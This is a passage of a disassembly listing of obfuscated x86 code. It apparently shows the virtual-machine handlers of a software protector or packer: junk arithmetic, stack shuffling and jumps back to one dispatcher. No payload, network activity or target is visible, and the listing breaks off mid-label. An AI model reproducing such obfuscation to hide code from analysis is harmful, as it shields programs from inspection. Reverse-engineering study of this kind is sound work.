loc_5900E2: ; CODE XREF: sub_581EE9+65AEj mov ecx, 119C416Fh and ecx, 3873E19h dec ecx add ecx, 1DC655DEh sub ebx, ecx jmp loc_58768F ; --------------------------------------------------------------------------- loc_5900FB: ; CODE XREF: sub_581EE9+E46Aj push 78C0h jmp loc_58D74D ; --------------------------------------------------------------------------- loc_590105: ; CODE XREF: sub_581EE9+E4F8j push edx push 855h mov [esp-6EEEh+arg_6EE4+2], ecx jmp loc_58DD1D ; --------------------------------------------------------------------------- loc_590113: ; CODE XREF: sub_581EE9+BB0Cj sub eax, 37ABA8D4h push ebx mov ebx, 59D2743Eh sub ebx, 59D548DEh jmp loc_5914F7 ; --------------------------------------------------------------------------- loc_590129: ; CODE XREF: sub_581EE9+55A8j mov esi, 4 add ecx, esi mov esi, [esp-6EC6h+arg_6EBE] push edi mov edi, esp add edi, 4 jmp loc_586562 ; --------------------------------------------------------------------------- loc_590141: ; CODE XREF: sub_581EE9+5F16j xor ecx, 93678A6h sub ecx, 9BA439CEh push ebx push eax push 4F5322EEh pop eax and eax, 2AC76A2Fh add eax, 0F5BCDE02h mov ebx, eax pop eax add ebx, edx mov [ebx], ecx pop ebx pop ecx sub [edx+30h], esi mov esi, [esp-6EDEh+arg_6ED6] add esp, 4 popa popf jmp locret_58AA75 ; --------------------------------------------------------------------------- loc_590178: ; CODE XREF: sub_581EE9+DBB2j add ecx, 4 xchg ecx, [esp-6EC2h+arg_6EBA] pop esp jmp loc_586504 ; --------------------------------------------------------------------------- loc_590184: ; DATA XREF: sub_581EE9+3D8Fo push [esp-6EC6h+arg_6EBE] jmp loc_58AEDB ; --------------------------------------------------------------------------- loc_59018C: ; CODE XREF: sub_581EE9+C18Ej mov edx, 1D494276h push esi jmp loc_58BD60 ; --------------------------------------------------------------------------- loc_590197: ; CODE XREF: sub_581EE9+6A8Bj mov edx, 3A320FCDh dec edx shr edx, 4 sub edx, 3A320FAh add ecx, edx pop edx xor ecx, [esp-6F02h+arg_6EFA] xor [esp-6F02h+arg_6EFA], ecx xor ecx, [esp-6F02h+arg_6EFA] mov esp, [esp-6F02h+arg_6EFA] rol word ptr [esp-6F02h+arg_6EFA], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5901BF: ; CODE XREF: sub_581EE9+7246j pop dx xor ch, 40h jmp loc_58A044 ; --------------------------------------------------------------------------- loc_5901C9: ; CODE XREF: sub_581EE9+6646j mov ecx, 5A3F746Ah xor ecx, 5A3F746Eh add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp-6EFEh+arg_6EF6] pop esp push edx mov dl, 82h and dl, 99h push ebx mov bh, 0FFh sub dl, bh pop ebx push ebx mov bh, 0CDh jmp loc_58C21A ; --------------------------------------------------------------------------- lodsd push ebx mov ebx, esp jmp loc_58CAE7 ; --------------------------------------------------------------------------- loc_5901FB: ; CODE XREF: sub_581EE9+B850j mov edx, edi mov edi, [esp-6E8Ch+arg_6E84] add esp, 4 pop eax loc_590207: ; CODE XREF: sub_581EE9+6AC1j ; sub_581EE9+77A4j sub esp, 4 mov [esp+0], ebx push ebp jmp loc_58AA37 ; --------------------------------------------------------------------------- loc_590216: ; CODE XREF: sub_581EE9+9AC0j push 5BA2h mov [esp-6ECAh+arg_6EC2], esi push ecx mov ecx, 2 mov esi, ecx pop ecx push esi push 5314C48h pop esi sub edi, esi push [esp-6EC6h+arg_6EBE] pop esi add esp, 4 jmp loc_586991 ; --------------------------------------------------------------------------- loc_59023C: ; CODE XREF: sub_581EE9+8D80j push [esp-6ED6h+arg_6ED2] push [esp-6ED2h+arg_6ECA] jmp loc_589E6C ; --------------------------------------------------------------------------- loc_590248: ; CODE XREF: sub_581EE9+FC14j pop esp mov ecx, [esp-6ED2h+arg_6ECA] push 15FEh mov [esp-6ECEh+arg_6EC6], eax sub esp, 4 mov [esp-6ECAh+arg_6EC2], esp add [esp-6ECAh+arg_6EC2], 4 jmp loc_58D848 ; --------------------------------------------------------------------------- loc_590266: ; CODE XREF: sub_581EE9+CA0Cj push ebp jmp loc_588B86 ; --------------------------------------------------------------------------- loc_59026C: ; CODE XREF: sub_581EE9+C4D9j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_590271: ; CODE XREF: sub_581EE9+A058j mov edi, 0B5E1A80h sub edx, edi pop edi pop ebp add edx, 4 jmp loc_588534 ; --------------------------------------------------------------------------- loc_590285: ; CODE XREF: sub_581EE9+871Bj sub ecx, 5AFC7064h sub ecx, edi add ecx, 5AFC7064h mov edi, dword ptr [esp-6EAAh+arg_6EA2] jmp loc_589E4E ; --------------------------------------------------------------------------- loc_59029B: ; CODE XREF: sub_581EE9+8B1Dj sub ebp, ebx pop ebx pop ecx push ebp push [esp-6EA0h+arg_6E9A+2] pop ebp pop [esp-6EA0h+arg_6E96+2] mov esp, [esp-6EA4h+arg_6E9A+2] idiv cx push small 127Eh mov word ptr [esp-6EA2h+arg_6E9A], dx push ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5902BE: ; CODE XREF: sub_581EE9+CB27j shr ebx, 6 xor ebx, 4F884E52h add ebp, 53435DA1h add ebp, ebx sub ebp, 53435DA1h pop ebx jmp loc_58C8A4 ; --------------------------------------------------------------------------- loc_5902DB: ; DATA XREF: sub_581EE9+3C37o mov ax, word ptr [esp-6EC0h+arg_6EB6+2] jmp loc_588378 ; --------------------------------------------------------------------------- loc_5902E4: ; CODE XREF: sub_581EE9+D0D7j sub ecx, 0AFE913A5h sub ebx, ecx jmp loc_58886B ; --------------------------------------------------------------------------- loc_5902F1: ; CODE XREF: sub_581EE9+B448j push edx jmp loc_591ADA ; --------------------------------------------------------------------------- loc_5902F7: ; CODE XREF: sub_581EE9+CA46j xor edi, 64198825h push ebx mov ebx, 14A2007Ch add ebp, ebx pop ebx add ebp, edi sub ebp, 14A2007Ch pop edi push 6BC6h mov [esp-6EBEh+arg_6EB6], ebx jmp loc_586D23 ; --------------------------------------------------------------------------- loc_59031C: ; CODE XREF: sub_581EE9+4392j xor eax, edx pop edx mov edi, eax pop eax and eax, edi mov edi, [esp-6ED2h+arg_6ECA] add esp, 4 shr eax, 0Eh xor eax, ecx push ebp mov ebp, esp jmp loc_5894D1 ; --------------------------------------------------------------------------- loc_59033A: ; CODE XREF: sub_581EE9+71FBj add esi, 6EA157F2h sub esi, 122333BFh mov edi, [esp-6EEEh+arg_6EE4+2] add esp, 4 xchg esi, [esp-6EF2h+arg_6EE8+2] pop esp mov [esp-6EF6h+arg_6EEC+2], edx jmp loc_5900FB ; --------------------------------------------------------------------------- loc_590358: ; CODE XREF: sub_581EE9+D2F9j shl edi, 1 jmp loc_58C52F ; --------------------------------------------------------------------------- loc_59035F: ; CODE XREF: sub_581EE9+F7CEj push 4C08h mov [esp-6E7Ch+arg_6E72+2], esi push [esp-6E7Ch+arg_6E76+2] mov esi, [esp-6E78h+arg_6E6E+2] add esp, 4 pop [esp-6E7Ch+arg_6E72+2] jmp loc_58BF4F ; --------------------------------------------------------------------------- loc_59037C: ; CODE XREF: sub_581EE9+68FFj pop ebp xor eax, 66DC7320h add eax, 0E3AEE45Ah sub ebp, eax pop eax pop edi sub eax, ebp mov ebp, [esp-6EDCh+arg_6ED2+2] add esp, 4 push ecx mov ecx, 594627E6h sub eax, ecx pop ecx jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5903A1: ; CODE XREF: sub_581EE9+8C43j pop eax not dh xor dh, 50h push 0 sub byte ptr [esp-6ECEh+arg_6EC6], dh mov dh, byte ptr [esp-6ECEh+arg_6EC6] add esp, 4 push ebx push ecx mov cl, 0C8h shl cl, 3 add cl, 49h add cl, 9Fh mov bl, cl pop ecx jmp loc_58B74A ; --------------------------------------------------------------------------- loc_5903CA: ; CODE XREF: sub_581EE9+CFCAj or ebx, 509766D4h push edi push 0 jmp loc_58ABE0 ; --------------------------------------------------------------------------- loc_5903DB: ; CODE XREF: sub_581EE9+8CDFj xchg edi, [esp-6ED2h+arg_6ECA] pop esp or eax, eax jz loc_590105 push 2973h mov [esp-6ED2h+arg_6ECA], eax sub esp, 4 jmp loc_58DCA1 ; --------------------------------------------------------------------------- loc_5903F7: ; CODE XREF: sub_581EE9+981Aj add ebx, 4 jmp loc_585D20 ; --------------------------------------------------------------------------- loc_590402: ; CODE XREF: sub_581EE9+9F0Dj xor [esp-6ECAh+arg_6EC2], esi xor esi, [esp-6ECAh+arg_6EC2] jmp loc_58C177 ; --------------------------------------------------------------------------- loc_59040D: ; CODE XREF: sub_581EE9+78A7j pop esi jmp loc_5893BD ; --------------------------------------------------------------------------- off_590413 dd offset loc_596167+1 ; DATA XREF: sub_581EE9+3C3Fo align 4 dd 57242489h, 0FFDB4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_590421: ; CODE XREF: sub_581EE9+9BACj add bl, 0DAh xor al, bl pop ebx sub esp, 4 jmp loc_58A922 ; --------------------------------------------------------------------------- loc_59042F: ; CODE XREF: sub_581EE9+C5F2j mov [esp-6ECEh+arg_6EC6], ecx mov ecx, 62034137h sub esp, 4 mov [esp-6ECAh+arg_6EC2], eax mov eax, 62034136h push edi mov edi, eax mov esi, edi jmp loc_58B7B4 ; --------------------------------------------------------------------------- loc_59044F: ; CODE XREF: sub_581EE9+584Fj add [esp-6EC6h+arg_6EBE], 4 mov esi, [esp-6EC6h+arg_6EBE] jmp loc_590909 ; --------------------------------------------------------------------------- loc_59045E: ; CODE XREF: sub_581EE9+60E4j pop esi pop [esp-6ED6h+arg_6ECE] mov esp, [esp-6EDAh+arg_6ED2] shl [esp-6EDAh+arg_6ED2], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_59046E: ; CODE XREF: sub_581EE9+556Ej sub al, 0F4h mov cx, word ptr [esp-6EBEh+arg_6EB6] add esp, 2 jmp loc_58EC01 ; --------------------------------------------------------------------------- loc_59047F: ; CODE XREF: sub_581EE9+5EB6j mov ecx, 1CCB3F86h push ebp mov ebp, 23B12FA4h push ecx mov ecx, 0BF8390F2h mov edx, ecx jmp loc_58E035 ; --------------------------------------------------------------------------- loc_590497: ; CODE XREF: sub_581EE9+3E95j mov [esp-6ED4h+arg_6ECA+2], eax mov eax, 8AF207B2h add edi, eax jmp loc_58A805 ; --------------------------------------------------------------------------- loc_5904A6: ; CODE XREF: sub_581EE9+E193j mov ax, word ptr [esp-6EFEh+arg_6EF6] jmp loc_5905D1 ; --------------------------------------------------------------------------- loc_5904AF: ; CODE XREF: sub_581EE9+4B5Bj mov [esp-6EB6h+arg_6EAC+2], eax mov eax, esp push ebp jmp loc_58FD79 ; --------------------------------------------------------------------------- loc_5904BA: ; CODE XREF: sub_581EE9+6193j cmp dword ptr [edi+20h], 0 jz loc_590DC5 push edx mov edx, esp jmp loc_5878B5 ; --------------------------------------------------------------------------- loc_5904CC: ; CODE XREF: sub_581EE9+700Aj push ebx mov ebx, 41770A3h shr ebx, 6 jmp loc_58A3B1 ; --------------------------------------------------------------------------- loc_5904DA: ; CODE XREF: sub_581EE9+7228j mov edx, esp jmp loc_58B61D ; --------------------------------------------------------------------------- loc_5904E1: ; CODE XREF: sub_581EE9+7356j add al, 1 shl al, 2 neg al neg al xor al, 51h add ch, al pop eax sub bl, 21h jmp loc_58BA32 ; --------------------------------------------------------------------------- loc_5904F7: ; CODE XREF: sub_581EE9+E1CDj xor esi, ebp pop ebp add ecx, esi jmp loc_58A97A ; --------------------------------------------------------------------------- loc_590501: ; CODE XREF: sub_581EE9+F7F5j push eax jmp loc_58F6B0 ; --------------------------------------------------------------------------- loc_590507: ; CODE XREF: sub_581EE9+511Fj sub esp, 4 mov [esp-6EEEh+arg_6EE4+2], eax mov eax, 28986966h dec eax shr eax, 2 shr eax, 4 dec eax add eax, 4785F4A2h or edi, eax pop eax xor edi, 6D426B1Ch jmp loc_58FFF4 ; --------------------------------------------------------------------------- loc_590530: ; CODE XREF: sub_581EE9+623Ej pop esp jmp loc_585E38 ; --------------------------------------------------------------------------- loc_590536: ; CODE XREF: sub_581EE9+6DA0j add edi, edx pop edx movzx eax, al push dword ptr [edi+eax*4] push 17A0h mov [esp-6ED4h+arg_6ECA+2], esi push ebp push 2966584Dh pop ebp dec ebp add ebp, 0D699ABB0h jmp loc_585DF7 ; --------------------------------------------------------------------------- loc_59055A: ; CODE XREF: sub_581EE9+8288j mov [esp-6ED0h+arg_6EC6+2], ecx jmp loc_58BD27 ; --------------------------------------------------------------------------- loc_590562: ; CODE XREF: sub_581EE9+6B96j add bl, dl jmp loc_588603 ; --------------------------------------------------------------------------- loc_590569: ; CODE XREF: sub_581EE9+ED59j push 6767h mov [esp-6EDCh+arg_6ED2+2], esi push esp pop esi add esi, 4 push ebp push ecx jmp loc_58A634 ; --------------------------------------------------------------------------- loc_590580: ; CODE XREF: sub_581EE9+A74Dj xchg edx, [esp-6EC6h+arg_6EBE] jmp loc_588286 ; --------------------------------------------------------------------------- loc_590588: ; CODE XREF: sub_581EE9+F7EFj xor ecx, 1417085Ah mov eax, ecx jmp loc_588BFA ; --------------------------------------------------------------------------- loc_590595: ; CODE XREF: sub_581EE9+D14Bj add ebx, 4 jmp loc_587A7E ; --------------------------------------------------------------------------- loc_5905A0: ; CODE XREF: sub_581EE9+CEA4j add esp, 2 push edx mov dh, 5Fh not dh or dh, 55h and dh, 0EDh jmp loc_588E22 ; --------------------------------------------------------------------------- loc_5905B3: ; CODE XREF: sub_581EE9+44A8j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5905B8: ; CODE XREF: sub_581EE9+8D3Dj xor esi, [esp-6EEEh+arg_6EE4+2] jmp loc_5888CE ; --------------------------------------------------------------------------- loc_5905C0: ; DATA XREF: sub_581EE9+3BC7o push [esp-6EEEh+arg_6EE4+2] jmp loc_58C4CB ; --------------------------------------------------------------------------- loc_5905C8: ; CODE XREF: sub_581EE9+908Aj mov edx, [esp-6EDEh+arg_6ED6] push esi jmp loc_5917C2 ; --------------------------------------------------------------------------- loc_5905D1: ; CODE XREF: sub_581EE9+E5C1j push edi mov edi, esp add edi, 4 jmp loc_58ECB5 ; --------------------------------------------------------------------------- loc_5905DF: ; CODE XREF: sub_581EE9+A9B6j add eax, ecx add eax, 58C14D10h pop ecx push small word ptr [eax] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5905EF: ; CODE XREF: sub_581EE9+AFF6j neg bl sub bl, 0F4h and al, bl pop ebx shr al, 8 push bx mov bh, al not bh jmp loc_58A0C0 ; --------------------------------------------------------------------------- loc_590605: ; DATA XREF: sub_581EE9+3BCBo push [esp-6EE6h+arg_6EDC+2] jmp loc_591952 ; --------------------------------------------------------------------------- loc_59060D: ; DATA XREF: sub_581EE9+3C9Bo push dword ptr [esp] pop eax sub esp, 4 mov [esp-6EDEh+arg_6ED6], edx push esp pop edx push esi jmp loc_588901 ; --------------------------------------------------------------------------- loc_590622: ; CODE XREF: sub_581EE9+4330j add bl, al jmp loc_58BA2B ; --------------------------------------------------------------------------- loc_590629: ; CODE XREF: sub_581EE9+9EFFj push 55BFh mov [esp-6EDAh+arg_6ED2], eax jmp loc_58E5CE ; --------------------------------------------------------------------------- loc_590636: ; CODE XREF: sub_581EE9+870Bj push esp mov ecx, [esp-6EA2h+arg_6E9A] jmp loc_58FE3D ; --------------------------------------------------------------------------- loc_59063F: ; CODE XREF: sub_581EE9+5F36j mov [esp-6EDAh+arg_6ED2], ecx jmp loc_585CC3 ; --------------------------------------------------------------------------- lodsb xor al, bl push small 3623h mov word ptr [esp-6ED8h+arg_6ECE+2], dx mov dh, 57h jmp loc_58C80C ; --------------------------------------------------------------------------- loc_590659: ; CODE XREF: sub_581EE9+614Aj mov [esp-6EBEh+arg_6EB6], ebp jmp loc_5916CC ; --------------------------------------------------------------------------- loc_590661: ; CODE XREF: sub_581EE9+8018j push ebx mov bh, 86h add al, bh pop ebx sub al, 3Fh sub al, bl jmp loc_591781 ; --------------------------------------------------------------------------- loc_590670: ; CODE XREF: sub_581EE9+C6EBj mov [esp-6F06h+arg_6EFE], eax push ecx push eax mov al, 0AAh jmp loc_58AEB1 ; --------------------------------------------------------------------------- loc_59067C: ; CODE XREF: sub_581EE9+ED21j pop eax pop [esp-6F02h+arg_6EFA] jmp loc_58B90E ; --------------------------------------------------------------------------- loc_590685: ; CODE XREF: sub_581EE9+AFDDj pop eax sub eax, esi pop esi jmp loc_58C210 ; --------------------------------------------------------------------------- loc_59068E: ; CODE XREF: sub_581EE9+E95Aj sub ecx, 13F24E05h sub edi, ecx pop ecx add edi, ecx jmp loc_58E4A1 ; --------------------------------------------------------------------------- loc_59069E: ; CODE XREF: sub_581EE9+6508j xchg ebx, [esp-6E98h+arg_6E8E+2] pop esp add ebx, 4 push ecx mov ecx, 2 add ebx, 3BA56DD5h add ebx, ecx sub ebx, 3BA56DD5h push [esp-6E98h+arg_6E8E+2] mov ecx, [esp-6E94h+arg_6E8A+2] add esp, 4 add esp, 4 push ebx push [esp-6E98h+arg_6E92+2] pop ebx pop [esp-6E98h+arg_6E8E+2] mov esp, [esp-6E9Ch+arg_6E92+2] btc word ptr [esp-6E9Ch+arg_6E92+2], ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5906DF: ; CODE XREF: sub_581EE9+D6DAj mov eax, esp jmp loc_58CACD ; --------------------------------------------------------------------------- loc_5906E6: ; CODE XREF: sub_581EE9+BE56j mov ebp, [esp-6EFEh+arg_6EF6] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6EFAh+arg_6EF0+2] pop esp sub ebx, eax push ebp jmp loc_591376 ; --------------------------------------------------------------------------- loc_590702: ; CODE XREF: sub_581EE9+5E2Ej mov edx, 1228162Dh xor edx, 156D5F06h dec edx jmp loc_58B73B ; --------------------------------------------------------------------------- loc_590713: ; CODE XREF: sub_581EE9+DB51j mov [esp-6EF6h+arg_6EEC+2], ebx jmp loc_58BE19 ; --------------------------------------------------------------------------- loc_59071B: ; CODE XREF: sub_581EE9+DABFj xor esi, 0A61FE49Ch jmp loc_58DCE6 ; --------------------------------------------------------------------------- loc_590726: ; CODE XREF: sub_581EE9+F6DBj add bl, dl push dx mov dh, 1Ch jmp loc_589AC1 ; --------------------------------------------------------------------------- loc_590731: ; CODE XREF: sub_581EE9+FBD5j xor edi, [esp+0] pop esp push 1B92h mov [esp+0], esi push 57DAh mov [esp-6EDEh+arg_6ED6], edi push eax push ebp mov ebp, 4AD876DAh mov eax, 695C1D25h xor eax, ebp pop ebp jmp loc_587157 ; --------------------------------------------------------------------------- loc_590759: ; CODE XREF: sub_581EE9+C4CBj sub esi, 28641A6Dh pop edx push esi push [esp-6EC8h+arg_6EC2+2] pop esi jmp loc_58DE33 ; --------------------------------------------------------------------------- loc_59076B: ; CODE XREF: sub_581EE9+AA8Aj pop edi add esi, ebx push edx mov edx, 5BD423A6h xor edx, 53851175h and edx, 6C8603F6h push ecx push edi jmp loc_5890EF ; --------------------------------------------------------------------------- loc_590787: ; CODE XREF: sub_581EE9+A638j mov cl, 2Fh sub al, cl pop ecx jmp loc_58AAF0 ; --------------------------------------------------------------------------- loc_590791: ; CODE XREF: sub_581EE9+4599j push 55911827h pop ecx jmp loc_591351 ; --------------------------------------------------------------------------- loc_59079C: ; CODE XREF: sub_581EE9+D928j bt word ptr [esp-6EC4h+arg_6EBA+2], ax pushf jmp loc_5874E3 ; --------------------------------------------------------------------------- loc_5907A7: ; CODE XREF: sub_581EE9+73ABj pop eax jmp loc_58AFE2 ; --------------------------------------------------------------------------- loc_5907AD: ; CODE XREF: sub_581EE9+78AEj push edx mov dl, 0DAh sub cl, dl mov edx, dword ptr [esp-6EAAh+arg_6EA2] jmp loc_58FBAF ; --------------------------------------------------------------------------- loc_5907BA: ; CODE XREF: sub_581EE9+4F99j pop ebp pop dword ptr [esp+0] jmp loc_58D17B ; --------------------------------------------------------------------------- loc_5907C3: ; CODE XREF: sub_581EE9+4B80j push 6B17h jmp loc_5899CB ; --------------------------------------------------------------------------- loc_5907CD: ; CODE XREF: sub_581EE9+F959j xor [esp-6EB6h+arg_6EAC+2], edx xor edx, [esp-6EB6h+arg_6EAC+2] jmp loc_590B00 ; --------------------------------------------------------------------------- loc_5907D8: ; CODE XREF: sub_581EE9+AC98j add eax, ebp pop ebp xor eax, [esp-6E86h+arg_6E7C+2] jmp loc_58C685 ; --------------------------------------------------------------------------- loc_5907E3: ; CODE XREF: sub_581EE9+B508j xor edi, edx pop edx jmp loc_588318 ; --------------------------------------------------------------------------- loc_5907EB: ; CODE XREF: sub_581EE9+5C2Ej and dl, 86h shr dl, 7 add dl, 28h jmp loc_58B712 ; --------------------------------------------------------------------------- loc_5907F9: ; CODE XREF: sub_581EE9+88B7j xor bp, 26CDh sub bp, 527Eh add bp, 0FC43h jmp loc_587509 ; --------------------------------------------------------------------------- loc_59080D: ; CODE XREF: sub_581EE9+F193j mov edi, 33E45301h not edi add edi, 5CFF0DF9h inc edi xor edi, 7F47452Bh and edi, 76170B5Eh xor edi, 56150B50h mov ebp, edi pop edi add ecx, ebp pop ebp xchg ecx, [esp-6ED0h+arg_6EC6+2] pop esp sar [esp-6ED4h+arg_6ECA+2], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_590840: ; CODE XREF: sub_581EE9+3EF8j shl ecx, 3 jmp loc_59068E ; --------------------------------------------------------------------------- loc_590848: ; CODE XREF: sub_581EE9+A0B3j pop eax add edx, edi push [esp-6ECEh+arg_6EC6] pop edi add esp, 4 jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_59085A: ; CODE XREF: sub_581EE9+AAD4j sub edi, 0B7D014EAh xor ebp, edi pop edi and esi, ebp pop ebp jmp loc_58AD3D ; --------------------------------------------------------------------------- loc_59086B: ; CODE XREF: sub_581EE9+742Fj pop [esp-6EA6h+arg_6E9E] pop esp push eax mov eax, esp push esi mov esi, 4 jmp loc_5910C1 ; --------------------------------------------------------------------------- loc_59087D: ; CODE XREF: sub_581EE9+9EB8j add al, 0E3h sub al, 7Ah jmp loc_591553 ; --------------------------------------------------------------------------- loc_590886: ; CODE XREF: sub_581EE9+D7B6j mov edi, 65D875B1h dec edi jmp loc_58BCCD ; --------------------------------------------------------------------------- loc_590891: ; CODE XREF: sub_581EE9+EEB3j mov eax, [esp-6EDEh+arg_6ED6] add esp, 4 pop dword ptr [esp+0] pop esp push 32D3h mov [esp-6EE6h+arg_6EDC+2], ecx pop dword ptr [eax] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5908AA: ; CODE XREF: sub_581EE9+D6EFj add esp, 4 push esi mov esi, 4 add edx, esi pop esi jmp loc_59153C ; --------------------------------------------------------------------------- loc_5908BB: ; CODE XREF: sub_581EE9+9D4Aj push eax mov eax, 4 jmp loc_58742F ; --------------------------------------------------------------------------- loc_5908C6: ; CODE XREF: sub_581EE9+71C8j pop ebp jmp loc_58839C ; --------------------------------------------------------------------------- loc_5908CC: ; DATA XREF: sub_581EE9+3B27o push eax push esp mov eax, [esp+0] add esp, 4 add eax, 4 sub eax, 4 xchg eax, [esp-6EBCh+arg_6EB2+2] pop esp jmp loc_58CF52 ; --------------------------------------------------------------------------- loc_5908E7: ; CODE XREF: sub_581EE9+D49Dj add esp, 4 xchg eax, [esp-6EF6h+arg_6EEC+2] pop eax sub esp, 4 mov [esp-6EF6h+arg_6EEC+2], esi jmp loc_586B73 ; --------------------------------------------------------------------------- loc_5908F9: ; CODE XREF: sub_581EE9+FA54j push edx mov edx, 3E9A68E9h sub [esp-6EF2h+arg_6EEC+2], edx pop edx jmp loc_58C7E4 ; --------------------------------------------------------------------------- loc_590909: ; CODE XREF: sub_581EE9+E570j add esp, 4 add esi, 4 push ecx mov ecx, 4 add esi, 60EC7FBEh add esi, ecx sub esi, 60EC7FBEh pop ecx xor esi, [esp-6ECAh+arg_6EC2] xor [esp-6ECAh+arg_6EC2], esi xor esi, [esp-6ECAh+arg_6EC2] mov esp, [esp-6ECAh+arg_6EC2] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_59093B: ; CODE XREF: sub_581EE9+9951j add esp, 4 add ebp, 0E7C5A16h pop ecx add edi, 7CCA3662h add edi, ebp sub edi, 7CCA3662h push [esp-6EF2h+arg_6EE8+2] pop ebp add esp, 4 std push 4691h mov [esp-6EF2h+arg_6EE8+2], eax push edx mov edx, 44CF44BAh mov eax, 49EF8044h jmp loc_5886FB ; --------------------------------------------------------------------------- loc_590976: ; DATA XREF: sub_581EE9+3D27o mov ax, fs:[edx] jmp loc_58A080 ; --------------------------------------------------------------------------- loc_59097F: ; DATA XREF: sub_581EE9+3D5Fo push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp-6EF0h+arg_6EE8], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_59098E: ; CODE XREF: sub_581EE9+66B3j add esp, 4 add edx, 0A8E1DACh sub edx, ebx sub edx, 0A8E1DACh add edx, 68E00FE5h add edx, 1D034B8Dh add edx, 642E5F4Eh pop ebx sub edx, eax jmp loc_591081 ; --------------------------------------------------------------------------- loc_5909B9: ; CODE XREF: sub_581EE9+DD73j add dword ptr [esp+0], 4 pop ecx push edi mov edi, 3EBC301Fh jmp loc_58DB86 ; --------------------------------------------------------------------------- loc_5909CC: ; CODE XREF: sub_581EE9+AC20j add ebp, 42934B8Fh sub ebp, esi push edx mov edx, 42934B8Fh sub ebp, edx pop edx pop esi add ebp, 0AAF5BCDh jmp loc_58CCD2 ; --------------------------------------------------------------------------- loc_5909E9: ; CODE XREF: sub_581EE9+9E08j pop ebx add esp, 4 push 47Eh jmp loc_58764A ; --------------------------------------------------------------------------- loc_5909F7: ; CODE XREF: sub_581EE9+770Bj add edi, 264E6F67h jmp loc_5888F0 ; --------------------------------------------------------------------------- loc_590A02: ; CODE XREF: sub_581EE9+9545j pop edx push ebx mov ebx, 232248F1h push ebx jmp loc_58B8E7 ; --------------------------------------------------------------------------- loc_590A0F: ; CODE XREF: sub_581EE9+7EB6j add ebx, esi jmp loc_58AA69 ; --------------------------------------------------------------------------- loc_590A16: ; CODE XREF: sub_581EE9+6CB5j not ebp jmp loc_58769B ; --------------------------------------------------------------------------- loc_590A1D: ; CODE XREF: sub_581EE9+6715j mov edx, esp add edx, 4 jmp loc_58AF37 ; --------------------------------------------------------------------------- loc_590A2A: ; CODE XREF: sub_581EE9+C147j add ebx, edx add ebx, 165C5825h jmp loc_58D0BB ; --------------------------------------------------------------------------- loc_590A37: ; CODE XREF: sub_581EE9+CB1Fj push esi mov esi, 6C3301A5h or esi, 8725572h neg esi shr esi, 3 dec esi xor esi, 16E334BFh sub esi, 492A1FBh add edx, esi pop esi push eax mov eax, 4 sub edx, eax mov eax, [esp-6ED8h+arg_6ECE+2] add esp, 4 xchg edx, [esp-6EDCh+arg_6ED2+2] pop esp mov [esp-6EE0h+arg_6ED6+2], eax mov eax, 0E8C794Dh xor [esp-6EE0h+arg_6EDC], eax mov eax, [esp-6EE0h+arg_6ED6+2] add esp, 4 pop dword ptr [edi+40h] push 633h jmp loc_587440 ; --------------------------------------------------------------------------- loc_590A89: ; CODE XREF: sub_581EE9+6774j sub al, bh mov ebx, [esp-6ECEh+arg_6EC6] add esp, 4 sub al, 6Ah sub al, bl push edx mov dh, 6Ah add al, dh mov edx, [esp-6ECEh+arg_6EC6] jmp loc_58F9FF ; --------------------------------------------------------------------------- loc_590AA2: ; CODE XREF: sub_581EE9+5E86j add ebp, ecx add ebp, 3F516B1Ah pop ecx push ebp push [esp-6E98h+arg_6E92+2] jmp loc_589744 ; --------------------------------------------------------------------------- loc_590AB5: ; CODE XREF: sub_581EE9+6871j push edi sub esp, 4 mov [esp-6EBCh+arg_6EB2+2], esp add [esp-6EBCh+arg_6EB2+2], 4 mov edi, [esp-6EBCh+arg_6EB2+2] push ebx mov ebx, esp jmp loc_591471 ; --------------------------------------------------------------------------- loc_590ACE: ; CODE XREF: sub_581EE9+8FEDj xor cl, 80h sub dl, cl mov ecx, [esp-6EC6h+arg_6EBE] add esp, 4 xor al, dl pop edx jmp loc_5891D3 ; --------------------------------------------------------------------------- loc_590AE1: ; CODE XREF: sub_581EE9+718Ej mov [esp-6EBAh+arg_6EB2], ecx jmp loc_58EC2F ; --------------------------------------------------------------------------- loc_590AE9: ; CODE XREF: sub_581EE9+9488j push [esp-6E8Eh+arg_6E8A] pop ebx jmp loc_5885C1 ; --------------------------------------------------------------------------- loc_590AF3: ; CODE XREF: sub_581EE9+81B8j pop dword ptr [esp] push 3BCEh jmp loc_58D20E ; --------------------------------------------------------------------------- loc_590B00: ; CODE XREF: sub_581EE9+E8EAj mov esp, [esp-6EB6h+arg_6EAC+2] dec [esp-6EB6h+arg_6EAC+2] pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_590B0C: ; CODE XREF: sub_581EE9+C0D4j or edi, eax pop eax xor edi, 757E7DDBh add ecx, edi pop edi sub esp, 4 jmp loc_588971 ; --------------------------------------------------------------------------- loc_590B23: ; CODE XREF: sub_581EE9+A4EEj mov ecx, esp push eax push ebp push 2663EC7h pop ebp shr ebp, 6 xor ebp, 485E059Eh jmp loc_5860EA ; --------------------------------------------------------------------------- loc_590B3B: ; CODE XREF: sub_581EE9+5C04j mov [esp-6EC6h+arg_6EBE], ecx push 4439h mov [esp-6EC2h+arg_6EBA], esp add [esp-6EC2h+arg_6EBA], 4 jmp loc_591B0A ; --------------------------------------------------------------------------- loc_590B4F: ; CODE XREF: sub_581EE9+4616j sub bl, dh add bl, 0ABh pop edx movzx eax, al jmp loc_587A3D ; --------------------------------------------------------------------------- loc_590B5D: ; CODE XREF: sub_581EE9+A1ECj push eax mov ah, dl mov ch, ah jmp loc_5875B1 ; --------------------------------------------------------------------------- loc_590B67: ; CODE XREF: 